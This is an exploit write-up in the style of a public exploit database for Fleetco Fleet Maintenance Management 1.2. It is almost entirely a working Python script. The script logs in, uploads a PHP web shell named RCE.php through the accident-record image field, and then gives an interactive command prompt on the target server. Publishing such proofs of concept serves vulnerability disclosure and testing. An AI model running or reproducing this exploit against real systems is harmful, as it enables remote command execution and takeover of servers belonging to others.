# Exploit Title: Fleetco Fleet Maintenance Management 1.2 - Remote Code Execution # Date: 2018-11-23 # Exploit Author: Azkan Mustafa AkkuA (AkkuS) # Contact: https://pentest.com.tr # Vendor Homepage: https://www.fleetco.space # Software Link: http://www.fleetco.space/download/215/ # Version: v1.2 # Category: Webapps # Tested on: XAMPP for Linux 1.7.2 # Software Description : Fleetco FMM is a free, web-based vehicle fleet maintenance management # system written in PHP with MySQL database backend. # Description : Fleetco 1.2 and lower versions allows to upload arbitrary ".php" files which # leads to a remote command execution on the remote server. Any authorized user is enough to exploit. # ================================================================== # PoC: #!/usr/bin/python import mechanize import sys import cookielib import requests import colorama from colorama import Fore print "\n[*] Fleetco Fleet Maintenance Management v1.2 - Remote Code Execution" print "[*] Vulnerability discovered by AkkuS" print "[*] My Blog - https://www.pentest.com.tr\n" if (len(sys.argv) != 2): print "[*] Usage: poc.py <RHOST>" exit(0) rhost = sys.argv[1] # User Information Input UserName = str(raw_input("User Name: ")) Password = str(raw_input("Password: ")) # Login into site print(Fore.BLUE + "+ [*] Loging in...") br = mechanize.Browser() br.set_handle_robots(False) # Cookie Jar cj = cookielib.LWPCookieJar() br.set_cookiejar(cj) br.open("http://"+rhost+"/login.php") assert br.viewing_html() br.select_form(name="form1") br.select_form(nr=0) br.form['username'] = UserName br.form['password'] = Password br.submit() # Where are you title = br.title() print (Fore.YELLOW + "+ [*] You're in "+title+" section of the app now") # Create Accident Records with multipart/form-data to RCE rce_headers = {"Content-Type": "multipart/form-data; boundary=---------------------------10664657171782352435254769348"} rce_data="-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Fleet_1\"\r\n\r\nCargo Carriers\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Vehicle_1\"\r\n\r\nBF1470\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Type_1\"\r\n\r\nLorry\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Date_1\"\r\n\r\n11/07/2018\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"type_Date_1\"\r\n\r\ndate2\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"type_Time_1\"\r\n\r\ntime\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Driver_1\"\r\n\r\nAntony Croos\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Details_1\"\r\n\r\ntest\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"type_Images_1\"\r\n\r\nupload2\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Images_1\"; filename=\"RCE.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>\n\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"filename_Images_1\"\r\n\r\nRCE.php\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_EnteredBy_1\"\r\n\r\nMark Croos\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_SysDate_1\"\r\n\r\n2018-11-23 14:58:09\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"a\"\r\n\r\nadded\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"rndVal\"\r\n\r\n0.8040138072331872\r\n-----------------------------10664657171782352435254769348--\r\n" upload = requests.post("http://"+rhost+"/accidents_add.php?submit=1&", headers=rce_headers, cookies=cj, data=rce_data) if upload.status_code == 200: print (Fore.GREEN + "+ [*] Shell successfully uploaded!") # Shell validation and exploit while True: shellctrl = requests.get("http://"+rhost+"/files/RCE.php") if shellctrl.status_code == 200: Command = str(raw_input(Fore.WHITE + "shell> ")) URL = requests.get("http://"+rhost+"/files/RCE.php?cmd="+Command+"") print URL.text else: print (Fore.RED + "+ [X] Unable to upload or access the shell") sys.exit()